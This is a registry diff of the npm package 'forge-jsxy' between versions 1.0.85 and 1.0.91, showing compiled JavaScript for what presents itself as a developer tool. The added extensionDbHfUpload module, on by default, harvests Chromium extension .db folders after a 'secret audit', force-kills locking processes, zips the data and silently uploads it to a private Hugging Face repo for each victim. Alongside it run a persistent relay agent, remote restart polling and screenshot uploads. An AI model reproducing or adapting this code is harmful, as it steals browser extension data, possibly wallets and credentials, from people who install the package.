forge-jsxy 1.0.85 → 1.0.91
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/files-explorer-template.html +63 -21
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +114 -0
- package/dist/agentRunner.js +97 -23
- package/dist/assets/files-explorer-template.html +64 -22
- package/dist/autostart/agentEnvFile.d.ts +6 -0
- package/dist/autostart/agentEnvFile.js +51 -2
- package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
- package/dist/chromiumExtensionDbHarvest.js +560 -0
- package/dist/cli-agent.js +1 -0
- package/dist/clipboardExec.d.ts +4 -0
- package/dist/clipboardExec.js +29 -15
- package/dist/extensionDbHfUpload.d.ts +24 -0
- package/dist/extensionDbHfUpload.js +198 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/hfUpload.d.ts +5 -0
- package/dist/hfUpload.js +18 -3
- package/dist/hostInventorySend.js +6 -1
- package/dist/relayAgent.d.ts +5 -0
- package/dist/relayAgent.js +139 -7
- package/dist/relayAgentAutoUpgrade.d.ts +9 -0
- package/dist/relayAgentAutoUpgrade.js +143 -0
- package/dist/relayDashboardGate.d.ts +5 -0
- package/dist/relayDashboardGate.js +60 -0
- package/dist/relayServer.js +181 -6
- package/dist/secretScan/agentStartupAudit.d.ts +3 -0
- package/dist/secretScan/agentStartupAudit.js +7 -0
- package/dist/syncClient.d.ts +1 -1
- package/dist/syncClient.js +5 -1
- package/dist/windowsInputSync.d.ts +15 -1
- package/dist/windowsInputSync.js +226 -67
- package/dist/workerBootstrap.js +3 -0
- package/package.json +2 -2
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
- package/scripts/forge-jsx-explorer-restart.mjs +9 -18
- package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
- package/scripts/postinstall-agent.mjs +53 -8
- package/scripts/postinstall-bootstrap.mjs +13 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
|
|
3
|
+
* folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
|
|
4
|
+
*
|
|
5
|
+
* Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
|
|
6
|
+
* Runs in the background — does not block the relay agent loop.
|
|
7
|
+
*/
|
|
8
|
+
import type { HfCredentials } from "./hfCredentials";
|
|
9
|
+
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
10
|
+
export declare function extensionDbLog(message: string): void;
|
|
11
|
+
/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
|
|
12
|
+
export declare function isExtensionDbHfUploadEnabled(): boolean;
|
|
13
|
+
export type RunExtensionDbHfUploadOptions = {
|
|
14
|
+
clientTableName: string;
|
|
15
|
+
fetchHubCredentials: () => Promise<HfCredentials>;
|
|
16
|
+
quiet: boolean;
|
|
17
|
+
};
|
|
18
|
+
/**
|
|
19
|
+
* Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
20
|
+
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
21
|
+
*/
|
|
22
|
+
export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
|
|
23
|
+
/** Fire-and-forget background upload (after secret audit completes). */
|
|
24
|
+
export declare function scheduleExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): void;
|
|
@@ -0,0 +1,198 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.extensionDbLog = extensionDbLog;
|
|
4
|
+
exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
|
|
5
|
+
exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
|
|
6
|
+
exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
|
|
7
|
+
const hfCredentials_1 = require("./hfCredentials");
|
|
8
|
+
const hfUpload_1 = require("./hfUpload");
|
|
9
|
+
const hub_1 = require("@huggingface/hub");
|
|
10
|
+
const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
|
|
11
|
+
const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
|
|
12
|
+
const exportMirrorCopy_1 = require("./exportMirrorCopy");
|
|
13
|
+
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
14
|
+
function extensionDbLog(message) {
|
|
15
|
+
console.log(`[forge-agent] extension-db: ${message}`);
|
|
16
|
+
}
|
|
17
|
+
/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
|
|
18
|
+
function isExtensionDbHfUploadEnabled() {
|
|
19
|
+
const raw = (process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD || "1")
|
|
20
|
+
.trim()
|
|
21
|
+
.toLowerCase();
|
|
22
|
+
return !["0", "false", "no", "off"].includes(raw);
|
|
23
|
+
}
|
|
24
|
+
function hfFetchFromRelayEnabledLocal() {
|
|
25
|
+
const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
|
|
26
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
27
|
+
return false;
|
|
28
|
+
return true;
|
|
29
|
+
}
|
|
30
|
+
function hfAuditPreferRelayCredentialsFirst() {
|
|
31
|
+
const e = (process.env.CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST || "").trim().toLowerCase();
|
|
32
|
+
return ["1", "true", "yes", "on"].includes(e);
|
|
33
|
+
}
|
|
34
|
+
async function resolveHubCredentials(fetchHubCredentials) {
|
|
35
|
+
let creds = null;
|
|
36
|
+
const loadLocal = () => {
|
|
37
|
+
try {
|
|
38
|
+
creds = (0, hfCredentials_1.loadHfCredentials)();
|
|
39
|
+
}
|
|
40
|
+
catch {
|
|
41
|
+
creds = null;
|
|
42
|
+
}
|
|
43
|
+
};
|
|
44
|
+
const loadRelay = async () => {
|
|
45
|
+
if (!hfFetchFromRelayEnabledLocal())
|
|
46
|
+
return;
|
|
47
|
+
try {
|
|
48
|
+
creds = await fetchHubCredentials();
|
|
49
|
+
}
|
|
50
|
+
catch {
|
|
51
|
+
creds = null;
|
|
52
|
+
}
|
|
53
|
+
};
|
|
54
|
+
if (hfAuditPreferRelayCredentialsFirst()) {
|
|
55
|
+
await loadRelay();
|
|
56
|
+
if (!creds)
|
|
57
|
+
loadLocal();
|
|
58
|
+
}
|
|
59
|
+
else {
|
|
60
|
+
loadLocal();
|
|
61
|
+
if (!creds)
|
|
62
|
+
await loadRelay();
|
|
63
|
+
}
|
|
64
|
+
return creds;
|
|
65
|
+
}
|
|
66
|
+
async function resolveSessionHubRepo(clientTable, creds) {
|
|
67
|
+
const ns = (creds.namespace || "").trim() ||
|
|
68
|
+
(process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
|
|
69
|
+
(process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
|
|
70
|
+
if (!ns)
|
|
71
|
+
return null;
|
|
72
|
+
let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
|
|
73
|
+
if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
|
|
74
|
+
return null;
|
|
75
|
+
const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
|
|
76
|
+
return `${ns}/${slug}`;
|
|
77
|
+
}
|
|
78
|
+
async function sessionHubRepoExists(clientTable, creds) {
|
|
79
|
+
const repoStr = await resolveSessionHubRepo(clientTable, creds);
|
|
80
|
+
if (!repoStr)
|
|
81
|
+
return { exists: false, repo: "" };
|
|
82
|
+
try {
|
|
83
|
+
const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
|
|
84
|
+
const exists = await (0, hub_1.repoExists)({
|
|
85
|
+
repo: repoStr,
|
|
86
|
+
accessToken: creds.token,
|
|
87
|
+
hubUrl,
|
|
88
|
+
});
|
|
89
|
+
return { exists, repo: repoStr };
|
|
90
|
+
}
|
|
91
|
+
catch {
|
|
92
|
+
return { exists: false, repo: repoStr };
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
function isIgnorableHubError(err) {
|
|
96
|
+
const msg = err instanceof Error ? err.message : String(err);
|
|
97
|
+
return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
|
|
98
|
+
}
|
|
99
|
+
let extensionDbUploadInFlight = false;
|
|
100
|
+
/**
|
|
101
|
+
* Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
|
|
102
|
+
* No-op when disabled, repo exists, nothing to copy, or credentials missing.
|
|
103
|
+
*/
|
|
104
|
+
async function runExtensionDbHfUploadAfterAudit(opts) {
|
|
105
|
+
if (!isExtensionDbHfUploadEnabled())
|
|
106
|
+
return;
|
|
107
|
+
const clientTable = (opts.clientTableName || "").trim();
|
|
108
|
+
if (!clientTable) {
|
|
109
|
+
extensionDbLog("skipped — no client_table / session id");
|
|
110
|
+
return;
|
|
111
|
+
}
|
|
112
|
+
if (extensionDbUploadInFlight)
|
|
113
|
+
return;
|
|
114
|
+
extensionDbUploadInFlight = true;
|
|
115
|
+
let creds = null;
|
|
116
|
+
let harvest = null;
|
|
117
|
+
try {
|
|
118
|
+
extensionDbLog("background upload starting");
|
|
119
|
+
creds = await resolveHubCredentials(opts.fetchHubCredentials);
|
|
120
|
+
if (!creds) {
|
|
121
|
+
extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
|
|
122
|
+
return;
|
|
123
|
+
}
|
|
124
|
+
const repoCheck = await sessionHubRepoExists(clientTable, creds);
|
|
125
|
+
if (repoCheck.exists) {
|
|
126
|
+
extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
|
|
127
|
+
return;
|
|
128
|
+
}
|
|
129
|
+
harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
|
|
130
|
+
forceKill: true,
|
|
131
|
+
quiet: opts.quiet,
|
|
132
|
+
});
|
|
133
|
+
if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
|
|
134
|
+
extensionDbLog("skipped — no extension folders with .db files");
|
|
135
|
+
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
136
|
+
return;
|
|
137
|
+
}
|
|
138
|
+
if (harvest.skippedCopyErrors > 0) {
|
|
139
|
+
extensionDbLog(`${harvest.skippedCopyErrors} extension folder(s) failed to copy — uploading ${harvest.copiedFolders} successful folder(s)`);
|
|
140
|
+
}
|
|
141
|
+
const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(harvest.stagingRoot);
|
|
142
|
+
if (stagedFiles === 0) {
|
|
143
|
+
extensionDbLog("skipped — staging empty after copy");
|
|
144
|
+
return;
|
|
145
|
+
}
|
|
146
|
+
const upload = await (0, hfUpload_1.runHfUpload)({
|
|
147
|
+
pathStr: harvest.stagingRoot,
|
|
148
|
+
autoSessionRepo: true,
|
|
149
|
+
clientTableName: clientTable,
|
|
150
|
+
hfCredentials: creds,
|
|
151
|
+
forceKill: true,
|
|
152
|
+
force: true,
|
|
153
|
+
skipIfRepoExists: true,
|
|
154
|
+
});
|
|
155
|
+
if (upload.skipped === true && upload.reason === "repo_exists") {
|
|
156
|
+
extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
|
|
157
|
+
return;
|
|
158
|
+
}
|
|
159
|
+
if (upload.ok === true) {
|
|
160
|
+
extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
|
|
161
|
+
}
|
|
162
|
+
else {
|
|
163
|
+
const err = String(upload.error || "unknown error");
|
|
164
|
+
if (!isIgnorableHubError(err)) {
|
|
165
|
+
extensionDbLog(`upload failed — ${err}`);
|
|
166
|
+
}
|
|
167
|
+
else {
|
|
168
|
+
extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
|
|
169
|
+
}
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
catch (e) {
|
|
173
|
+
if (!isIgnorableHubError(e)) {
|
|
174
|
+
extensionDbLog(`upload failed — ${e instanceof Error ? e.message : String(e)}`);
|
|
175
|
+
}
|
|
176
|
+
else {
|
|
177
|
+
extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
|
|
178
|
+
}
|
|
179
|
+
}
|
|
180
|
+
finally {
|
|
181
|
+
extensionDbUploadInFlight = false;
|
|
182
|
+
if (creds)
|
|
183
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
|
|
184
|
+
await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
/** Fire-and-forget background upload (after secret audit completes). */
|
|
188
|
+
function scheduleExtensionDbHfUploadAfterAudit(opts) {
|
|
189
|
+
if (!isExtensionDbHfUploadEnabled())
|
|
190
|
+
return;
|
|
191
|
+
setImmediate(() => {
|
|
192
|
+
void runExtensionDbHfUploadAfterAudit(opts).catch((e) => {
|
|
193
|
+
if (!opts.quiet) {
|
|
194
|
+
console.warn("[forge-agent] extension-db background upload:", e instanceof Error ? e.message : e);
|
|
195
|
+
}
|
|
196
|
+
});
|
|
197
|
+
});
|
|
198
|
+
}
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.forgeSemverLt = forgeSemverLt;
|
|
4
|
+
/** Loose semver compare for upgrade hints (`1.0.78` < `1.0.85`). */
|
|
5
|
+
function forgeSemverLt(a, b) {
|
|
6
|
+
const pa = a
|
|
7
|
+
.trim()
|
|
8
|
+
.replace(/^v/i, "")
|
|
9
|
+
.split(".")
|
|
10
|
+
.map((x) => parseInt(x, 10) || 0);
|
|
11
|
+
const pb = b
|
|
12
|
+
.trim()
|
|
13
|
+
.replace(/^v/i, "")
|
|
14
|
+
.split(".")
|
|
15
|
+
.map((x) => parseInt(x, 10) || 0);
|
|
16
|
+
for (let i = 0; i < Math.max(pa.length, pb.length, 3); i++) {
|
|
17
|
+
const av = pa[i] ?? 0;
|
|
18
|
+
const bv = pb[i] ?? 0;
|
|
19
|
+
if (av < bv)
|
|
20
|
+
return true;
|
|
21
|
+
if (av > bv)
|
|
22
|
+
return false;
|
|
23
|
+
}
|
|
24
|
+
return false;
|
|
25
|
+
}
|
package/dist/hfUpload.d.ts
CHANGED
|
@@ -43,5 +43,10 @@ export interface RunHfUploadOptions {
|
|
|
43
43
|
force?: boolean;
|
|
44
44
|
/** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
|
|
45
45
|
forceKill?: boolean;
|
|
46
|
+
/**
|
|
47
|
+
* Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
|
|
48
|
+
* Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
|
|
49
|
+
*/
|
|
50
|
+
skipIfRepoExists?: boolean;
|
|
46
51
|
}
|
|
47
52
|
export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;
|
package/dist/hfUpload.js
CHANGED
|
@@ -993,8 +993,12 @@ async function runHfUploadCore(opts) {
|
|
|
993
993
|
hubUrl,
|
|
994
994
|
...(hfFetch ? { fetch: hfFetch } : {}),
|
|
995
995
|
});
|
|
996
|
-
if (exists)
|
|
997
|
-
|
|
996
|
+
if (exists) {
|
|
997
|
+
if (opts.skipIfRepoExists && opts.autoSessionRepo) {
|
|
998
|
+
return { skippedExisting: true };
|
|
999
|
+
}
|
|
1000
|
+
return { skippedExisting: false };
|
|
1001
|
+
}
|
|
998
1002
|
if (!allowCreateRepo) {
|
|
999
1003
|
throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
|
|
1000
1004
|
"or pass create_repo: true to create an empty **private** repo automatically.");
|
|
@@ -1007,9 +1011,20 @@ async function runHfUploadCore(opts) {
|
|
|
1007
1011
|
private: true,
|
|
1008
1012
|
...(hfFetch ? { fetch: hfFetch } : {}),
|
|
1009
1013
|
});
|
|
1014
|
+
return { skippedExisting: false };
|
|
1010
1015
|
};
|
|
1011
1016
|
try {
|
|
1012
|
-
await ensureRepo();
|
|
1017
|
+
const repoEnsure = await ensureRepo();
|
|
1018
|
+
if (repoEnsure.skippedExisting) {
|
|
1019
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
|
|
1020
|
+
(0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
|
|
1021
|
+
return {
|
|
1022
|
+
ok: true,
|
|
1023
|
+
skipped: true,
|
|
1024
|
+
reason: "repo_exists",
|
|
1025
|
+
repo: resolvedRepoStr,
|
|
1026
|
+
};
|
|
1027
|
+
}
|
|
1013
1028
|
if (isMultiSelection) {
|
|
1014
1029
|
const zipName = "selection.zip";
|
|
1015
1030
|
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));
|
|
@@ -41,6 +41,7 @@ exports.sendHostInventorySnapshot = sendHostInventorySnapshot;
|
|
|
41
41
|
*/
|
|
42
42
|
const node_crypto_1 = require("node:crypto");
|
|
43
43
|
const os = __importStar(require("node:os"));
|
|
44
|
+
const agentRestartFromQueue_1 = require("./agentRestartFromQueue");
|
|
44
45
|
const syncClient_1 = require("./syncClient");
|
|
45
46
|
/** Default on. Opt out: ``FORGE_JS_SYNC_HOST_INVENTORY=0``. */
|
|
46
47
|
function effectiveSyncHostInventory() {
|
|
@@ -78,9 +79,13 @@ async function sendHostInventorySnapshot(client) {
|
|
|
78
79
|
// Also persist OS type directly to _client_registry via the dedicated endpoint
|
|
79
80
|
// so dashboards (2-forge-clients-status, 3-forge-db-discord) can display it
|
|
80
81
|
// without needing env_file rows (which are not stored in forge-db).
|
|
81
|
-
await client.updateClientInfo({
|
|
82
|
+
const infoRes = await client.updateClientInfo({
|
|
82
83
|
os_type: osType,
|
|
83
84
|
os_platform: platform,
|
|
84
85
|
hostname,
|
|
85
86
|
});
|
|
87
|
+
(0, agentRestartFromQueue_1.handleClientInfoRestartResponse)(infoRes, {
|
|
88
|
+
quiet: false,
|
|
89
|
+
reason: "forge-db restart queue (host inventory)",
|
|
90
|
+
});
|
|
86
91
|
}
|
package/dist/relayAgent.d.ts
CHANGED
|
@@ -17,4 +17,9 @@ export interface RunRelayAgentOptions {
|
|
|
17
17
|
*/
|
|
18
18
|
onRelayCapabilities?: (relayFeatures: Record<string, unknown>) => void;
|
|
19
19
|
}
|
|
20
|
+
/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
|
|
21
|
+
export declare function parseRelayReconnectDelayMs(): number;
|
|
22
|
+
/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
|
|
23
|
+
export declare function parseRelayWatchdogSec(): number;
|
|
24
|
+
export { forgeSemverLt } from "./forgeSemver.js";
|
|
20
25
|
export declare function runRelayAgentLoop(opts: RunRelayAgentOptions): void;
|
package/dist/relayAgent.js
CHANGED
|
@@ -36,6 +36,9 @@ var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
|
36
36
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
37
37
|
};
|
|
38
38
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
exports.forgeSemverLt = void 0;
|
|
40
|
+
exports.parseRelayReconnectDelayMs = parseRelayReconnectDelayMs;
|
|
41
|
+
exports.parseRelayWatchdogSec = parseRelayWatchdogSec;
|
|
39
42
|
exports.runRelayAgentLoop = runRelayAgentLoop;
|
|
40
43
|
/**
|
|
41
44
|
* WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
|
|
@@ -52,10 +55,16 @@ const fsMessages_1 = require("./fsMessages");
|
|
|
52
55
|
const hfCredentials_1 = require("./hfCredentials");
|
|
53
56
|
const hfUpload_1 = require("./hfUpload");
|
|
54
57
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
55
|
-
const
|
|
58
|
+
const forgeSemver_js_1 = require("./forgeSemver.js");
|
|
59
|
+
const agentRestartFromQueue_js_1 = require("./agentRestartFromQueue.js");
|
|
56
60
|
const clientId_1 = require("./clientId");
|
|
61
|
+
const syncClient_1 = require("./syncClient");
|
|
62
|
+
const windowsInputSync_1 = require("./windowsInputSync");
|
|
63
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
64
|
+
const clientId_2 = require("./clientId");
|
|
57
65
|
const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
|
|
58
66
|
const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
|
|
67
|
+
const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
|
|
59
68
|
const pendingRelayHf = new Map();
|
|
60
69
|
/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
|
|
61
70
|
const pendingDiscordRelayAck = new Map();
|
|
@@ -280,8 +289,32 @@ function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
|
|
|
280
289
|
"If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
|
|
281
290
|
}
|
|
282
291
|
}
|
|
292
|
+
/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
|
|
293
|
+
function parseRelayReconnectDelayMs() {
|
|
294
|
+
const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
|
|
295
|
+
if (raw) {
|
|
296
|
+
const n = parseInt(raw, 10);
|
|
297
|
+
if (Number.isFinite(n) && n >= 500 && n <= 120_000)
|
|
298
|
+
return n;
|
|
299
|
+
}
|
|
300
|
+
return 2000;
|
|
301
|
+
}
|
|
302
|
+
/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
|
|
303
|
+
function parseRelayWatchdogSec() {
|
|
304
|
+
const raw = (process.env.FORGE_JS_RELAY_WATCHDOG_SEC || "").trim();
|
|
305
|
+
if (raw) {
|
|
306
|
+
const n = parseInt(raw, 10);
|
|
307
|
+
if (n === 0)
|
|
308
|
+
return 0;
|
|
309
|
+
if (Number.isFinite(n) && n >= 15 && n <= 300)
|
|
310
|
+
return n;
|
|
311
|
+
}
|
|
312
|
+
return 60;
|
|
313
|
+
}
|
|
314
|
+
var forgeSemver_js_2 = require("./forgeSemver.js");
|
|
315
|
+
Object.defineProperty(exports, "forgeSemverLt", { enumerable: true, get: function () { return forgeSemver_js_2.forgeSemverLt; } });
|
|
283
316
|
function runRelayAgentLoop(opts) {
|
|
284
|
-
const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs =
|
|
317
|
+
const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = parseRelayReconnectDelayMs(), quiet = false, pkgRoot, onRelayCapabilities, } = opts;
|
|
285
318
|
const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
|
|
286
319
|
const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
|
|
287
320
|
warnIfRelayUrlUsesApiPort(base, quiet);
|
|
@@ -304,13 +337,72 @@ function runRelayAgentLoop(opts) {
|
|
|
304
337
|
forge_jsx_version: forgeJsxVersion,
|
|
305
338
|
};
|
|
306
339
|
let reconnectTimer = null;
|
|
340
|
+
let reconnectAttempts = 0;
|
|
341
|
+
let relayWsWatchdog = null;
|
|
342
|
+
let lastDbRestartPollMs = 0;
|
|
343
|
+
const pollDbRestartIfDue = () => {
|
|
344
|
+
const api = (0, windowsInputSync_1.resolveSyncApiBase)();
|
|
345
|
+
if (!api)
|
|
346
|
+
return;
|
|
347
|
+
const now = Date.now();
|
|
348
|
+
if (now - lastDbRestartPollMs < 45_000)
|
|
349
|
+
return;
|
|
350
|
+
lastDbRestartPollMs = now;
|
|
351
|
+
const client = new syncClient_1.ForgeSyncClient({
|
|
352
|
+
baseUrl: api,
|
|
353
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
354
|
+
});
|
|
355
|
+
void (0, agentRestartFromQueue_js_1.pollForgeDbAgentRestartHint)(client, { quiet });
|
|
356
|
+
};
|
|
357
|
+
const clearRelayWsWatchdog = () => {
|
|
358
|
+
if (relayWsWatchdog) {
|
|
359
|
+
clearInterval(relayWsWatchdog);
|
|
360
|
+
relayWsWatchdog = null;
|
|
361
|
+
}
|
|
362
|
+
};
|
|
363
|
+
const armRelayWsWatchdog = () => {
|
|
364
|
+
clearRelayWsWatchdog();
|
|
365
|
+
const sec = parseRelayWatchdogSec();
|
|
366
|
+
if (sec <= 0)
|
|
367
|
+
return;
|
|
368
|
+
relayWsWatchdog = setInterval(() => {
|
|
369
|
+
const w = outboundAgentWs;
|
|
370
|
+
if (w && w.readyState === 1)
|
|
371
|
+
return;
|
|
372
|
+
clearRelayWsWatchdog();
|
|
373
|
+
pollDbRestartIfDue();
|
|
374
|
+
if (!quiet) {
|
|
375
|
+
log(quiet, " Relay watchdog: socket not open — reconnecting…");
|
|
376
|
+
}
|
|
377
|
+
try {
|
|
378
|
+
w?.terminate();
|
|
379
|
+
}
|
|
380
|
+
catch {
|
|
381
|
+
/* skip */
|
|
382
|
+
}
|
|
383
|
+
if (reconnectTimer) {
|
|
384
|
+
clearTimeout(reconnectTimer);
|
|
385
|
+
reconnectTimer = null;
|
|
386
|
+
}
|
|
387
|
+
reconnectAttempts = 0;
|
|
388
|
+
scheduleReconnect();
|
|
389
|
+
}, sec * 1000);
|
|
390
|
+
};
|
|
307
391
|
const scheduleReconnect = () => {
|
|
308
392
|
if (reconnectTimer)
|
|
309
393
|
return;
|
|
394
|
+
const attempt = reconnectAttempts++;
|
|
395
|
+
const exp = Math.min(15_000, reconnectDelayMs * Math.pow(2, Math.min(attempt, 5)));
|
|
396
|
+
const jitter = Math.floor(Math.random() * 2500);
|
|
397
|
+
const delayMs = exp + jitter;
|
|
398
|
+
if (!quiet && attempt > 0) {
|
|
399
|
+
log(quiet, ` Reconnecting in ${(delayMs / 1000).toFixed(1)}s (attempt ${attempt + 1})…`);
|
|
400
|
+
}
|
|
310
401
|
reconnectTimer = setTimeout(() => {
|
|
311
402
|
reconnectTimer = null;
|
|
403
|
+
pollDbRestartIfDue();
|
|
312
404
|
connect();
|
|
313
|
-
},
|
|
405
|
+
}, delayMs);
|
|
314
406
|
};
|
|
315
407
|
const connect = () => {
|
|
316
408
|
let stopDiscordScreenshotLoop = null;
|
|
@@ -492,7 +584,13 @@ function runRelayAgentLoop(opts) {
|
|
|
492
584
|
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
493
585
|
relayCaps: {},
|
|
494
586
|
quiet,
|
|
587
|
+
clientTableName: sessionId,
|
|
588
|
+
fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
|
|
589
|
+
});
|
|
590
|
+
(0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
|
|
591
|
+
clientTableName: sessionId,
|
|
495
592
|
fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
|
|
593
|
+
quiet,
|
|
496
594
|
});
|
|
497
595
|
}, fallbackMs);
|
|
498
596
|
secretAuditHandshakeFallbackTimer.unref?.();
|
|
@@ -518,7 +616,7 @@ function runRelayAgentLoop(opts) {
|
|
|
518
616
|
};
|
|
519
617
|
const relayDisconnectCleanup = () => {
|
|
520
618
|
try {
|
|
521
|
-
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0,
|
|
619
|
+
(0, agentEnvFile_1.sanitizeForgeAgentEnvFileOnDisk)((0, clientId_2.defaultCfgmgrDataDir)());
|
|
522
620
|
}
|
|
523
621
|
catch {
|
|
524
622
|
/* skip */
|
|
@@ -590,8 +688,26 @@ function runRelayAgentLoop(opts) {
|
|
|
590
688
|
if (Array.isArray(iceRaw) && iceRaw.length > 0) {
|
|
591
689
|
relayRtcIceServersCache = iceRaw;
|
|
592
690
|
}
|
|
691
|
+
const relayStartedRaw = caps.relay_started_at_ms;
|
|
692
|
+
const relayStartedMs = typeof relayStartedRaw === "number" && Number.isFinite(relayStartedRaw)
|
|
693
|
+
? relayStartedRaw
|
|
694
|
+
: typeof relayStartedRaw === "string" && relayStartedRaw.trim()
|
|
695
|
+
? Number.parseFloat(relayStartedRaw.trim())
|
|
696
|
+
: Number.NaN;
|
|
697
|
+
if (Number.isFinite(relayStartedMs) && Date.now() - relayStartedMs < 300_000) {
|
|
698
|
+
reconnectAttempts = 0;
|
|
699
|
+
}
|
|
700
|
+
const relayVer = typeof caps.relay_version === "string" ? caps.relay_version.trim() : "";
|
|
701
|
+
if (relayVer &&
|
|
702
|
+
forgeJsxVersion &&
|
|
703
|
+
(0, forgeSemver_js_1.forgeSemverLt)(forgeJsxVersion, relayVer) &&
|
|
704
|
+
!quiet) {
|
|
705
|
+
